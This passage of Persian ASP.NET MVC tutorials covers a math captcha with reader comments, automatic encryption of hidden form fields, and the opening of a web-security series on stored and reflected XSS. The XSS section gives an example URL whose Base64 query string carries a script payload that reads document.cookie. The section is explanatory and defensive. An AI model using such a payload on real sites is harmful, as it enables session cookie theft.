                        r = rand.Next(0, (130 / 3));
                        x = rand.Next(0, 130);
                        y = rand.Next(0, 30);

                        gfx.DrawEllipse(pen, x - r, y - r, r, r);
                    }
                }

                //add question
                gfx.DrawString(captcha, new Font("Tahoma", 15), Brushes.Gray, 2, 3);

                //render as Jpeg
                bmp.Save(mem, System.Drawing.Imaging.ImageFormat.Jpeg);
                img = this.File(mem.GetBuffer(), "image/Jpeg");
            }

            return img;
        }
```

همانطور که از کد فوق پیداست، دو مقدار a و b ، به شکل اتفاقی ایجاد می‌شوند و حاصل جمع آنها در یک Session نگهداری خواهد شد. سپس تصویری بر اساس تصویر a+b ایجاد می‌شود (مثل 3+4). این تصویر خروجی این اکشن متد است. به سادگی می‌توانید این اکشن را بر اساس خواسته خود اصلاح کنید؛ مثلا به جای حاصل جمع دو عدد، از کاربرد چند حرف یا عدد که بصورت اتفاقی تولید کرده‌اید، استفاده نمائید.

فرض کنید می‌خواهیم کپچا را هنگام ثبت نام استفاده کنیم.

در فایل AccountViewModels.cs در پوشه مدل‌ها در کلاس RegisterViewModel خاصیت زیر را اضافه کنید:

```
[Required(ErrorMessage = "لطفا {0} را وارد کنید")]
        [Display(Name = "حاصل جمع")]
        public string Captcha { get; set; }
```

حالا در پوشه View/Account به فایل Register.Cshtml خاصیت فوق را اضافه کنید:

```
<div class="form-group">
                        <input type="button" value="" id="refresh" />

                        @Html.LabelFor(model => model.Captcha)

                        <img alt="Captcha" id="imgcpatcha" src="@Url.Action("CaptchaImage","Captcha")"
style="" />
                    </div>
```

وظیفه این بخش، نمایش کپچاست . تگ img دارای آدرسی است که توسط اکشن متدی که در ابتدای این مقاله ایجاد نموده‌ایم تولید می‌شود. این آدرس تصویر کپچاست. یک دکمه هم با شناسه refresh برای به روز رسانی مجدد تصویر در نظر گرفته‌ایم.

حالا کد ایجکسی برای آپدیت کپچا توسط دکمه refresh را به شکل زیر بنویسید (من در پایین ویوی Register ، اسکریپت زیر را قرار دادم):

```
<script type="text/javascript">
    $(function () {
        $('#refresh').click(function () {


            $.ajax({
                url: '@Url.Action("CaptchaImage","Captcha")',
                type: "GET",
                data: null
            })
            .done(function (functionResult) {
                $("#imgcpatcha").attr("src", "/Captcha/CaptchaImage?" + functionResult);
            });

        });
    });
</script>
```

آنچه در url نوشته شده است، شاید اصولی‌ترین شکل فراخوانی یک اکشن متد باشد. این اکشن در ابتدای مقاله تحت کنترلری به نام Captcha معرفی شده بود و خروجی آن آدرس یک فایل تصویری است. نوع ارتباط، Get است و هیچ اطلاعاتی به اکشن متد فرستاده نمیشود، اما اکشن متد ما آدرسی را به ما برمی‌گرداند که تحت نام FunctionResult آن را دریافت کرده و به کمک کد جی کوئری، مقدارش را در ویژگی src تصویر موجود در صفحه جاری جایگزین می‌کنیم. دقت کنید که برای دسترسی به تصویر، لازم است جایگزینی آدرس، در ویژگی src به شکل فوق صورت پذیرد. *

تنها کار باقیمانده اضافه کردن کد زیر به ابتدای اکشن متد Register درون کنترلر Account است.

```
if (Session["Captcha"] == null || Session["Captcha"].ToString() != model.Captcha)
            {
                ModelState.AddModelError("Captcha", "مجموع اشتباه است");
            }
```

واضح است که اینکار پیش از شرط if(ModelState.IsValidate) صورت میگیرد و وظیفه شرط فوق، بررسیِ برابریِ مقدار Session تولید شده در اکشن CaptchaImage (ابتدای این مقاله) با مقدار ورودی کاربر است. (مقداری که از طریق خاصیت تولیدی

خودمان به آن دسترسی داریم) . بدیهی‌است اگر این دو مقدار نابرابر باشند، یک خطا به ModelState اضافه می‌شود و شرط ModelState.IsValid که در اولین خط بعد از کد فوق وجود دارد، برقرار نخواهد بود و پیغام خطا در صفحه ثبت نام نمایش داده خواهد شد.

تصویر زیر نمونه‌ی نتیجه‌ای است که حاصل خواهد شد :

* اصلاح : دقت کنید بدون استفاده از ایجکس هم میتوانید تصویر فوق را آپدیت کنید:

```
$('#refresh').click(function () {

            var d = new Date();
            $("#imgcpatcha").attr("src", "Captcha/CaptchaImage?" + d.getTime());

        });
```

رویداد کلیک را با کد فوق جایگزین کنید؛ دو نکته در اینجا وجود دارد :

یک. استفاده از زمان در انتهای آدرس به خاطر مشکلاتیست که فایرفاکس یا IE با اینگونه آپدیت‌های تصویری دارند. این دو مرورگر (بر خلاف کروم) تصاویر را نگهداری میکنند و آپدیت به روش فوق به مشکل برخورد میکند مگر آنکه آدرس را به کمک اضافه کردن زمان آپدیت کنید تا مرورگر متوجه داستان شود

دو. همانطور که میبینید آدرس تصویر در حقیقت خروجی یک اکشن است. پس نیازی نیست هر بار این اکشن را به کمک ایجکس صدا بزنیم و روش فوق در مرورگرهای مختلف جواب خواهد داد.

نظرات خوانندگان

نویسنده: محسن خان
تاریخ: ۱۳۹۳/۰۳/۲۶ ۹:۳۳

ممنون از شما. فقط یک نکته‌ی کوچک در مورد memory stream هست که بهتره درنظر گرفته بشه. در این شیء متدهای ToArray و GetBuffer یکی نیستند. متد GetBuffer حجمی نزدیک به 2 برابر آرایه اصلی رو عموما داره و انتهاش یک سری بایت‌های اضافی هم شاید باشند. اما ToArray اصل دیتا رو بر می‌گردونه.

Note that the buffer contains allocated bytes which might be unused. For example, if the string "test" is written into the MemoryStream object, the length of the buffer returned from GetBuffer is 256, not 4, with 252 bytes unused. To obtain only the data in the buffer, use the ToArray method; however, ToArray creates a copy of the data in memory.

نویسنده: ح مراداف
تاریخ: ۱۳۹۳/۱۱/۲۳ ۰:۸

با سلام و با تشکر؛ با اجازه بنده کد فوق رو کامل‌تر کردم و یک سری کد جدید بهش اضافه کردم و برخی بخش‌ها رو هم تغییر داده ام:

1- به جای سوال ، بنده یک عبارت رو نمایش میدم

2- ارسال دیتا از طریق کوئری استرینگ که باعث میشه سشن دیگه نیاز نباشه و از مصرف حافظه رو تا حد زیادی کاسته بشه. البته این مورد برای سایت‌های پربازدید خیلی قابل لمس است و ممکنه روی سایت‌های معمولی تفاوت زیادی احساس نشه.

3- ارسال داده بصورت هش شده ، که این رو بنده خودم با یک کلاس دست ساز معمولی به روش TripleDes انجام داده ام که دوستان به هر روشی می‌تونن داده هاشون رو هش کنن.

4- یکم حروف رو چرخوندم و فاصله بین حروف رو هم طوری تنظیم کردم که در عرض تصویر پخش بشن (از کل عرض تصویر استفاده بشه)

* شایان ذکر است که به نظر من روش فوق در ایجاد نویزهای دایره ای بسیار زیبا بود، چون همیشه همه جا با یک سری خط ساده نویز ایجاد می‌کنن ولی روش فوق واقعا خلاقانه و قشنگ بود :)

ساختار کنترلر ریکپچای من :

```
public class CaptchaController : Controller
    {
        private static readonly Brush ForeColor = Brushes.Black;
        private const string FontName = "tahoma";
        private const int FontSize = 14;
        private const int Width = 130;
        private const int Height = 35;

        [HttpGet]
        public ActionResult Image(string cc)
        {
            if (string.IsNullOrEmpty(cc) || string.IsNullOrWhiteSpace(cc))
                return null;

            var captchaData = CustomHashing.DecryptTpl(cc);

            var rand = new Random((int)DateTime.Now.Ticks);

            // image stream
            FileContentResult img = null;

            using (var mem = new MemoryStream())
            using (var bmp = new Bitmap(Width, Height))
            using (var mtrx = new Matrix())
            using (var gfx = Graphics.FromImage((Image)bmp))
            {
                gfx.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
                gfx.SmoothingMode = SmoothingMode.AntiAlias;
```

```
                gfx.FillRectangle(Brushes.White, new Rectangle(0, 0, bmp.Width, bmp.Height));

                //add noise
                int rn, xn, yn;
                var pen = new Pen(Color.Yellow);

                for (int i = 1; i < 10; i++)
                {
                    pen.Color = Color.FromArgb((rand.Next(0, 255)), (rand.Next(0, 255)), (rand.Next(0,
255)));

                    rn = rand.Next(0, (130 / 3));
                    xn = rand.Next(0, 130);
                    yn = rand.Next(0, 30);

                    gfx.DrawEllipse(pen, xn - rn, yn - rn, rn, rn);
                }

                //add chars
                #region draw pic

                float x = 1, y = 1;
                int degree = 10;

                for (int i = 0; i < captchaData.Length; i++)
                {
                    mtrx.Reset();

                    x = (float)(Width * (0.19 * i));

                    y = (float)(Height * 0.19);

                    degree = rand.Next(-25, 25);

                    if (i == 0 && degree > 20)
                    {
                        x += (FontSize + 5);
                        y -= 15;
                    }

                    mtrx.RotateAt(degree, new PointF(x, y));

                    gfx.Transform = mtrx;

                    gfx.DrawString(captchaData[i].ToString(), new Font(FontName, FontSize), ForeColor,
x, y);

                    gfx.ResetTransform();
                }
                #endregion

                //render as Jpeg
                bmp.Save(mem, System.Drawing.Imaging.ImageFormat.Jpeg);
                img = this.File(mem.GetBuffer(), "image/Jpeg");
            }

            return img;
        }
```

برای استفاده هم داریم :

```
@{
    var r = new Web.Tools.CustomRandom();
    string hash = Web.Tools.CustomHashing.EncryptTpl(r.CraeteCapchaNumericData(4));
}

<!DOCTYPE html>

<html>
<head>
    <meta name="viewport" content="width=device-width" />
    <title>test Index</title>
</head>
<body>
<div>

    <img src="@Url.Action("Image", "Captcha", new { cc = hash })" />
```

```
</div>
</body>
</html>
```

محتوای کلاس CustomRandom :

این کلاس به تعداد مورد نیاز کاراکتر عددی/عددی-حروفی می‌سازه و به شما تحویل میده

```
public class CustomRandom
 {
        /// <summary>
        /// ساخت یک عبارت عددی رندوم
        /// </summary>
        public string CraeteCapchaNumericData(int length)
        {
            var rnd = new Random((int) DateTime.Now.Ticks);
            var temp = new StringBuilder();

            for (var i = 0; i < length; i++)
                temp.Append(Convert.ToChar(rnd.Next(49, 58)));

            return temp.ToString();
        }

        /// <summary>
        /// ساخت یک عبارت رندوم
        /// </summary>
        public string CreateRandomName(int length)
        {
            var rnd = new Random((int) DateTime.Now.Ticks);
            var temp = new StringBuilder();
            var flag = 1;

            for (var i = 0; i < length; i++)
            {
                flag = rnd.Next(0, 15);

                if (flag < 5)
                    temp.Append(Convert.ToChar(rnd.Next(97, 123))); // lower
                else if (flag >= 5 && flag < 10)
                    temp.Append(Convert.ToChar(rnd.Next(49, 58))); // numeric
                else
                    temp.Append(Convert.ToChar(rnd.Next(65, 91))); // biger
            }

            return temp.ToString();
        }
}
```

همانطور که گفتم پیاده سازی متد های DecryptTpl و EncryptTpl کلاس CustomHashing رو به خود دوستان واگذار می‌کنم تا با هر الگوریتمی که دوست دارن این کار رو انجام بدن. (^)

امیدوارم کد بنده به دوستان کمک کنه.

موفق باشید

نویسنده: سحر پیله ور
تاریخ: ۱۳۹۴/۰۵/۱۳ ۱۴:۲

با تشکر از پست خوبتون

فقط مساله ای که برای من اتفاق افتاد این بود که زمانی که دکمه مربوط به بازسازی کپچا رو می‌زدم تصویر از کش خونده می‌شد و تصویر جدید نمایش داده نمی‌شد که برای حل این موضوع کافیست کد ایجکس برای آپدیت کپچا توسط دکمه refresh را به صورت زیر بنویسید:

```
jQuery('#refresh').on({
                'click': function () {
                    var random = new Date();
                    jQuery.ajax({
                        url: '@Url.Action("CaptchaImage","Captcha")',
                        type: "GET",
```

```
                        data: null,
                        success: function (result) {
                            jQuery("#imgcpatcha").attr("src", "/Captcha/CaptchaImage?" + random +
result);
                        }
                    });
                }
                });
```

عنوان: **رمزنگاری خودکار فیلدهای مخفی در ASP.NET MVC**
نویسنده: محسن موسوی
تاریخ: ۱۳۹۳/۰۴/۱۴ ۲۲:۴۵
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security

جهت نگهداری بعضی از اطلاعات در صفحات کاربر، از فیلدهای مخفی (Hidden Inputs) استفاده می‌کنیم. مشکلی که در این روش وجود دارد این است که اگر این اطلاعات مهم باشند (مانند کلیدها) کاربر می‌تواند توسط ابزارهایی این اطلاعات را تغییر دهد و این مورد مسئله‌ای خطرناک می‌باشد.

راه حل رفع این مسئله‌ی امنیتی، استفاده از یک Html Helper جهت رمزنگاری این فیلد مخفی در مرورگر کاربر و رمز گشایی آن هنگام Post شدن سمت سرور می‌باشد.

برای رسیدن به این هدف یک Understanding and Extending Controller Factory in MVC (Controller Factory) سفارشی را جهت دستیابی به مقادیر فرم ارسالی، قبل از استفاده در Actionها و به همراه کلاس‌های زیر ایجاد کردیم.
کلاس EncryptSettingsProvider :

```
public interface IEncryptSettingsProvider
    {
        byte[] EncryptionKey { get; }
        string EncryptionPrefix { get; }
    }

 public class EncryptSettingsProvider : IEncryptSettingsProvider
    {
        private readonly string _encryptionPrefix;
        private readonly byte[] _encryptionKey;

        public EncryptSettingsProvider()
        {
            //read settings from configuration
            var useHashingString = ConfigurationManager.AppSettings["UseHashingForEncryption"];
            var useHashing = System.String.Compare(useHashingString, "false",
System.StringComparison.OrdinalIgnoreCase) != 0;

            _encryptionPrefix = ConfigurationManager.AppSettings["EncryptionPrefix"];
            if (string.IsNullOrWhiteSpace(_encryptionPrefix))
            {
                _encryptionPrefix = "encryptedHidden_";
            }

            var key = ConfigurationManager.AppSettings["EncryptionKey"];
            if (useHashing)
            {
                var hash = new SHA256Managed();
                _encryptionKey = hash.ComputeHash(Encoding.UTF8.GetBytes(key));
                hash.Clear();
                hash.Dispose();
            }
            else
            {
                _encryptionKey = Encoding.UTF8.GetBytes(key);
            }
        }

        #region ISettingsProvider Members

        public byte[] EncryptionKey
        {
            get
            {
                return _encryptionKey;
            }
        }

        public string EncryptionPrefix
        {
            get { return _encryptionPrefix; }
        }
```

```
        #endregion

    }
```

در این کلاس تنظیمات مربوط به Encryption را بازیابی مینماییم.

EncryptionKey : کلید رمز نگاری میباشد و در فایل Config برنامه ذخیره میباشد.

EncryptionPrefix : پیشوند نام Hidden فیلدها میباشد، این پیشوند برای یافتن Hidden فیلد هایی که رمزنگاری شده اند استفاده میشود. میتوان این فیلد را در فایل Config برنامه ذخیره کرد.

```
<appSettings>
    <add key="EncryptionKey" value="asdjahsdkhaksj dkashdkhak sdhkahsdkha kjsdhkasd"/>
  </appSettings>
```

کلاس RijndaelStringEncrypter :

```
public interface IRijndaelStringEncrypter : IDisposable
    {
        string Encrypt(string value);
        string Decrypt(string value);
    }

 public class RijndaelStringEncrypter : IRijndaelStringEncrypter
    {
        private RijndaelManaged _encryptionProvider;
        private ICryptoTransform _cryptoTransform;
        private readonly byte[] _key;
        private readonly byte[] _iv;

        public RijndaelStringEncrypter(IEncryptSettingsProvider settings, string key)
        {
            _encryptionProvider = new RijndaelManaged();
            var keyBytes = Encoding.UTF8.GetBytes(key);
            var derivedbytes = new Rfc2898DeriveBytes(settings.EncryptionKey, keyBytes, 3);
            _key = derivedbytes.GetBytes(_encryptionProvider.KeySize / 8);
            _iv = derivedbytes.GetBytes(_encryptionProvider.BlockSize / 8);
        }

        #region IEncryptString Members

        public string Encrypt(string value)
        {
            var valueBytes = Encoding.UTF8.GetBytes(value);

            if (_cryptoTransform == null)
            {
                _cryptoTransform = _encryptionProvider.CreateEncryptor(_key, _iv);
            }

            var encryptedBytes = _cryptoTransform.TransformFinalBlock(valueBytes, 0,
valueBytes.Length);
            var encrypted = Convert.ToBase64String(encryptedBytes);

            return encrypted;
        }

        public string Decrypt(string value)
        {
            var valueBytes = Convert.FromBase64String(value);

            if (_cryptoTransform == null)
            {
                _cryptoTransform = _encryptionProvider.CreateDecryptor(_key, _iv);
            }

            var decryptedBytes = _cryptoTransform.TransformFinalBlock(valueBytes, 0,
valueBytes.Length);
            var decrypted = Encoding.UTF8.GetString(decryptedBytes);

            return decrypted;
        }
```

```
        #endregion

        #region IDisposable Members

        public void Dispose()
        {
            if (_cryptoTransform != null)
            {
                _cryptoTransform.Dispose();
                _cryptoTransform = null;
            }

            if (_encryptionProvider != null)
            {
                _encryptionProvider.Clear();
                _encryptionProvider.Dispose();
                _encryptionProvider = null;
            }
        }

        #endregion
    }
```

در این پروژه ، جهت رمزنگاری، از کلاس RijndaelManaged استفاده میکنیم.

```
RijndaelManaged :Accesses the managed version of the Rijndael algorithm
```

```
Rijndael :Represents the base class from which all implementations of the Rijndael symmetric encryption
algorithm must inherit
```

متغیر key در سازنده کلاس کلیدی جهت رمزنگاری و رمزگشایی میباشد. این کلید می‌تواند AntiForgeryToken تولیدی در View ها و یا کلیدی باشد که در سیستم خودمان ذخیره سازی می‌کنیم.

در این پروژه از کلید سیستم خودمان استفاده میکنیم.

کلاس ActionKey :

```
public class ActionKey
    {
        public string Area { get; set; }
        public string Controller { get; set; }
        public string Action { get; set; }
        public string ActionKeyValue { get; set; }
    }
```

در اینجا هر View که بخواهد از این فیلد رمزنگاری شده استفاده کند بایستی دارای کلیدی در سیستم باشد.مدل متناظر مورد استفاده را مشاهده می‌نمایید. در این مدل، ActionKeyValue کلیدی جهت رمزنگاری این فیلد مخفی میباشد.

کلاس ActionKeyService :

```
/// <summary>
        /// پیدا کردن کلید متناظر هر ویو.ایجاد کلید جدید در صورت عدم وجود کلید در سیستم
        /// </summary>
        /// <param name="action"></param>
        /// <param name="controller"></param>
        /// <param name="area"></param>
        /// <returns></returns>
        string GetActionKey(string action, string controller, string area = "");

    }
 public class ActionKeyService : IActionKeyService
    {

        private static readonly IList<ActionKey> ActionKeys;

        static ActionKeyService()
        {
            ActionKeys = new List<ActionKey>
            {
                new ActionKey
                {
                    Area = "",
                    Controller = "Product",
                    Action = "dit",
                    ActionKeyValue = "E702E4C2-A3B9-446A-912F-8DAC6B0444BC",
                }
            };
        }

        /// <summary>
        /// پیدا کردن کلید متناظر هر ویو.ایجاد کلید جدید در صورت عدم وجود کلید در سیستم
        /// </summary>
        /// <param name="action"></param>
        /// <param name="controller"></param>
        /// <param name="area"></param>
        /// <returns></returns>
        public string GetActionKey(string action, string controller, string area = "")
        {
            area = area ?? "";
            var actionKey= ActionKeys.FirstOrDefault(a =>
                a.Action.ToLower() == action.ToLower() &&
                a.Controller.ToLower() == controller.ToLower() &&
                a.Area.ToLower() == area.ToLower());
            return actionKey != null ? actionKey.ActionKeyValue : AddActionKey(action, controller,
area);
        }

        /// <summary>
        /// اضافه کردن کلید جدید به سیستم
        /// </summary>
        /// <param name="action"></param>
        /// <param name="controller"></param>
        /// <param name="area"></param>
        /// <returns></returns>
        private string AddActionKey(string action, string controller, string area = "")
        {
            var actionKey = new ActionKey
            {
                Action = action,
                Controller = controller,
                Area = area,
                ActionKeyValue = Guid.NewGuid().ToString()
```

```
            };
            ActionKeys.Add(actionKey);
            return actionKey.ActionKeyValue;
        }

    }
```

جهت بازیابی کلید هر View میباشد. در متد GetActionKey ابتدا بدنبال کلید View درخواستی در منبعی از ActionKeyها میگردیم. اگر این کلید یافت نشد کلیدی برای آن ایجاد میکنیم و نیازی به مقدار دهی آن نمیباشد.

کلاس MvcHtmlHelperExtentions :

```
public static class MvcHtmlHelperExtentions
    {

        public static string GetActionKey(this System.Web.Routing.RequestContext requestContext)
        {
            IActionKeyService actionKeyService = new ActionKeyService();
            var action = requestContext.RouteData.Values["Action"].ToString();
            var controller = requestContext.RouteData.Values["Controller"].ToString();
            var area = requestContext.RouteData.Values["Area"];
            var actionKeyValue = actionKeyService.GetActionKey(
                            action, controller, area != null ? area.ToString() : null);

            return actionKeyValue;
        }

        public static string GetActionKey(this HtmlHelper helper)
        {
            IActionKeyService actionKeyService = new ActionKeyService();
            var action = helper.ViewContext.RouteData.Values["Action"].ToString();
            var controller = helper.ViewContext.RouteData.Values["Controller"].ToString();
            var area = helper.ViewContext.RouteData.Values["Area"];
            var actionKeyValue = actionKeyService.GetActionKey(
                            action, controller, area != null ? area.ToString() : null);

            return actionKeyValue;
        }

    }
```

از این متدهای کمکی جهت بدست آوردن کلیدها استفاده میکنیم.

```
public static string GetActionKey(this System.Web.Routing.RequestContext requestContext)
```

این متد در DefaultControllerFactory جهت بدست آوردن کلید View در زمانیکه میخواهیم اطلاعات را بازیابی کنیم استفاده میشود.

```
public static string GetActionKey(this HtmlHelper helper)
```

از این متد در متدهای کمکی درنظر گرفته جهت ایجاد فیلدهای مخفی رمز نگاری شده، استفاده میکنیم.

کلاس InputExtensions :

```
public static class InputExtensions
    {
        public static MvcHtmlString EncryptedHidden(this HtmlHelper helper, string name, object value)
        {
            if (value == null)
            {
                value = string.Empty;
            }
            var strValue = value.ToString();
```

```
            IEncryptSettingsProvider settings = new EncryptSettingsProvider();
            var encrypter = new RijndaelStringEncrypter(settings, helper.GetActionKey());
            var encryptedValue = encrypter.Encrypt(strValue);
            encrypter.Dispose();

            var encodedValue = helper.Encode(encryptedValue);
            var newName = string.Concat(settings.EncryptionPrefix, name);

            return helper.Hidden(newName, encodedValue);
        }

        public static MvcHtmlString EncryptedHiddenFor<TModel, TProperty>(this HtmlHelper<TModel>
htmlHelper, Expression<Func<TModel, TProperty>> expression)
        {
            var name = ExpressionHelper.GetExpressionText(expression);
            var metadata = ModelMetadata.FromLambdaExpression(expression, htmlHelper.ViewData);
            return EncryptedHidden(htmlHelper, name, metadata.Model);
        }

    }
```

دو helper برای ایجاد فیلد مخفی رمزنگاری شده ایجاد شده است . در ادامه نحوه استفاده از این دو متد الحاقی را در Viewهای برنامه، مشاهده مینمایید.

```
@Html.EncryptedHiddenFor(model => model.Id)
   @Html.EncryptedHidden("Id2","2")
```

کلاس DecryptingControllerFactory :

```
public class DecryptingControllerFactory : DefaultControllerFactory
    {
        private readonly IEncryptSettingsProvider _settings;

        public DecryptingControllerFactory()
        {
            _settings = new EncryptSettingsProvider();
        }

        public override IController CreateController(System.Web.Routing.RequestContext requestContext,
string controllerName)
        {
            var parameters = requestContext.HttpContext.Request.Params;
            var encryptedParamKeys = parameters.AllKeys.Where(x =>
x.StartsWith(_settings.EncryptionPrefix)).ToList();

            IRijndaelStringEncrypter decrypter = null;

            foreach (var key in encryptedParamKeys)
            {
                if (decrypter == null)
                {
                    decrypter = GetDecrypter(requestContext);
                }

                var oldKey = key.Replace(_settings.EncryptionPrefix, string.Empty);
                var oldValue = decrypter.Decrypt(parameters[key]);
                if (requestContext.RouteData.Values[oldKey] != null)
                {
                    if (requestContext.RouteData.Values[oldKey].ToString() != oldValue)
                        throw new ApplicationException("Form values is modified!");
                }
                requestContext.RouteData.Values[oldKey] = oldValue;
            }

            if (decrypter != null)
            {
                decrypter.Dispose();
            }

            return base.CreateController(requestContext, controllerName);
        }

        private IRijndaelStringEncrypter GetDecrypter(System.Web.Routing.RequestContext requestContext)
        {
            var decrypter = new RijndaelStringEncrypter(_settings, requestContext.GetActionKey());
            return decrypter;
```

```
        }
    }
```

از این DefaultControllerFactory جهت رمزگشایی داده‌هایی رمز نگاری شده و بازگرداندن آنها به مقادیر اولیه، در هنگام عملیات PostBack استفاده میشود.

این قسمت از کد

```
if (requestContext.RouteData.Values[oldKey] != null)
                {
                    if (requestContext.RouteData.Values[oldKey].ToString() != oldValue)
                        throw new ApplicationException("Form values is modified!");
                }
```

زمانی استفاده میشود که کلید مد نظر ما در UrlParameterها یافت شود و درصورت مغایرت این پارامتر و فیلد مخفی، یک Exception تولید میشود.

همچنین بایستی این Controller Factory را در Application_Start فایل global.asax.cs برنامه اضافه نماییم.

```
protected void Application_Start()
        {
            ....
            ControllerBuilder.Current.SetControllerFactory(typeof(DecryptingControllerFactory));
        }
```

کدهای پروژه‌ی جاری

TestHiddenEncrypt.7z

***در تکمیل این مقاله میتوان SessionId کاربر یا AntyForgeryToken تولیدی در View را نیز در کلید دخالت داد و در هربار Post شدن اطلاعات این ActionKeyValue مربوط به کاربر جاری را تغییر داد و کلیدها را در بانکهای اطلاعاتی ذخیره نمود.**

مراجع:

Automatic Encryption of Secure Form Field Data

Encrypted Hidden Redux : Let's Get Salty

عنوان: **آشنایی با چالش های امنیتی در توسعه برنامه‌های تحت وب، بخش اول**
نویسنده: سید مهران موسوی
تاریخ: ۱۳۹۳/۰۷/۱۱ ۸:۵۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security, xss, Cross-site scripting

در پروژه‌های بزرگ نرم افزاری، از قدیم بحث تامین امنیت پروژه، یکی از چالش‌های مهم بوده است. از دیدگاه شخصی بنده، یک مدیر نرم افزار یا حتی یک توسعه دهنده‌ی برنامه‌های تحت وب، لازم است علاوه بر صرف وقت مطالعاتی و آشنایی و تسلط بر مباحث طراحی معماری سیستم‌های تحت وب، که از اهمیت بالا و مقیاس بزرگی برخوردارند آشنایی لازم را با چالش‌های امنیتی در پیاده سازی اینگونه سیستم‌ها داشته باشد. امنیت در یک سیستم بزرگ و ارائه دهنده خدمات، باعث می‌شود تا کاربر علاوه بر یک تجربه کاربری (user experience) خوب از سیستم که حاصل پیاده سازی صحیح سیستم می‌باشد، اعتماد ویژه‌ای به سیستم مذکور داشته باشد. گاها کاربران به علت بی اعتمادی به شرایط امنیتی حاکم بر یک سیستم، از تجربه کاربری خوب یک سیستم چشم پوشی می‌کنند. اهمیت این مسئله تا جاییست که غول‌های تکنولوژی دنیا همچون Google درگیر این چالش می‌باشند و همیشه سعی بر تامین امنیت کاربران علاوه بر ایجاد تجربه کاربری خوب دارند. پس عدم توجه به این موضوع میتواند خسارات وارده جبران ناپذیری را به یک سیستم از جهت‌های مختلف وارد کند.

در این سری از مقالات، بنده سعی دارم تا حد توان در رابطه با چالش‌های امنیتی موجود در زمینه توسعه برنامه‌های تحت وب، مطالبی را منتشر کنم. از این رو امیدوارم تا این سری از مقالات برای دوستان مفید واقع گردد.

در این سری از مقالات چالش‌های امنیتی زیر مورد بحث و بررسی واقع خواهند گردید

XSS , LDAPi ,RFI ,LFI ,SQLi ,RFD ,LFD ,SOF ,BSQLI ,DNN ,BOF ,CRLF ,CSRF ,SSI ,PCI ,SCD ,AFD ,RCE

در بخش اول از این سری مقالات ، به بررسی آسیب پذیری **Cross-site scripting** میپردازیم .

واژه XSS مخفف Cross-site scripting ، نوعی از آسیب پذیریست که در برنامه‌های تحت وب نمود پیدا میکند. به طور کلی و خلاصه، این آسیب پذیری به فرد نفوذ کننده اجازه تزریق اسکریپت‌هایی را به صفحات وب، می‌دهد که در سمت کاربر اجرا می‌شوند (Client Side scripts) . در نهایت این اسکریپت‌ها توسط سایر افرادی که از صفحات مورد هدف قرار گرفته بازدید می‌کنند اجرا خواهد شد.

هدف از این نوع حمله :

بدست آوردن اطلاعات کوکی‌ها و سشن‌های کاربران (مرتبط با آدرسی که صفحه آلوده شده در آن قرار دارد) است. سپس فرد نفوذ کننده متناسب با اطلاعات بدست آمده می‌تواند به اکانت شخصی کاربران مورد هدف قرار گرفته، نفوذ کرده و از اطلاعات شخصی آن‌ها سوء استفاده کند .

به صورت کلی دو طبقه بندی برای انواع حملات Cross-site scripting وجود دارند.

حملات XSS ذخیره سازی شده (Stored XSS Attacks) :

در این نوع ، کدهای مخرب تزریق شده، در سرور سایت قربانی ذخیره میشوند. محل ذخیره سازی می‌تواند دیتابیس سایت یا هر جای دیگری که داده‌ها توسط سایت یا برنامه تحت وب بازیابی می‌شوند و نمایش داده می‌شوند باشد. اما اینکه چگونه کدهای مخرب در منابع یاد شده ذخیره میشوند؟

فرض کنید در سایت جاری آسیب پذیری مذکور وجود دارد. راه‌های ارسال داده‌ها به این سایت چیست؟ نویسندگان میتوانند مطلب ارسال کنند و کاربران میتوانند نظر دهند. حال اگر در یکی از این دو بخش بررسی‌های لازم جهت مقابله با این آسیب پذیری

وجود نداشته باشد و نوشته‌های کاربران که می‌تواند شامل کدهای مخرب باشد مستقیما در دیتابیس ذخیره شده و بدون هیچ اعتبار سنجی نمایش داده شود چه اتفاقی رخ خواهد داد؟ مسلما با بازدید صفحه آلوده شده، کدهای مخرب بر روی مرورگر شما اجرا و کوکی‌های سایت جاری که متعلق به شما هستند برای هکر ارسال میشود و ...

حملات XSS منعکس شده (Reflected XSS Attacks) :

در این نوع از حمله، هیچ نوع کد مخربی در منابع ذخیره سازی وبسایت یا اپلیکیشن تحت وب توسط فرد مهاجم ذخیره نمی‌شود ! بلکه از ضعف امنیتی بخش‌هایی همچون بخش جستجو وب سایت، بخش‌های نمایش پیغام خطا و ... استفاده میشود ... اما به چه صورت؟

در بسیاری از سایت‌ها، انجمن‌ها و سیستم‌های سازمانی تحت وب، مشاهده می‌شود که مثلا در بخش جستجو، یک فیلد برای وارد کردن عبارت جستجو وجود دارد. پس از وارد کردن عبارت جستجو و submit فرم، علاوه بر نمایش نتایج جستجو، عبارت جستجو شده نیز به نمایش گذاشته میشود و بعضا در بسیاری از سیستم‌ها این عبارت قبل از نمایش اعتبار سنجی نمی‌شود که آیا شامل کدهای مخرب می‌باشد یا خیر. همین امر سبب میشود تا اگر عبارت جستجو شامل کدهای مخرب باشد، آن‌ها به همراه نتیجه‌ی جستجو اجرا شوند.

اما این موضوع چگونه مورد سوء استفاده قرار خواهد گرفت؟ مگر نه اینکه این عبارت ذخیره نمیشود پس با توضیحات فوق، کد فقط بر روی سیستم مهاجم که کد جستجو را ایجاد می‌کند اجرا می‌شود، درست است؟ بله درست است ولی به نقطه ضعف زیر توجه کنید ؟

```
www.test.com/search?q=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==
```

این آدرس حاصل submit شدن فرم جستجو وب‌سایت test (نام وب‌سایت واقعی نیست و برای مثال است) و ارجاع به صفحه نتایج جستجو میباشد. در واقع این لینک برای جستجوی یک کلمه یا عبارت توسط این وبسایت تولید شده و از هر کجا به این لینک مراجعه کنید عبارت مورد نظر مورد جستجو واقع خواهد شد. در واقع عبارت جستجو به صورت Base64 به عنوان یک query String به وبسایت ارسال می‌شود؛ علاوه بر نمایش نتایج، عبارت جستجو شده نیز به کاربر نشان داده شده و اگر آسیب پذیری مورد بحث وجود داشته باشد و عبارت شامل کدهای مخرب باشد، کدهای مخرب بر روی مرورگر فردی که این لینک را باز کرده اجرا خواهد شد!

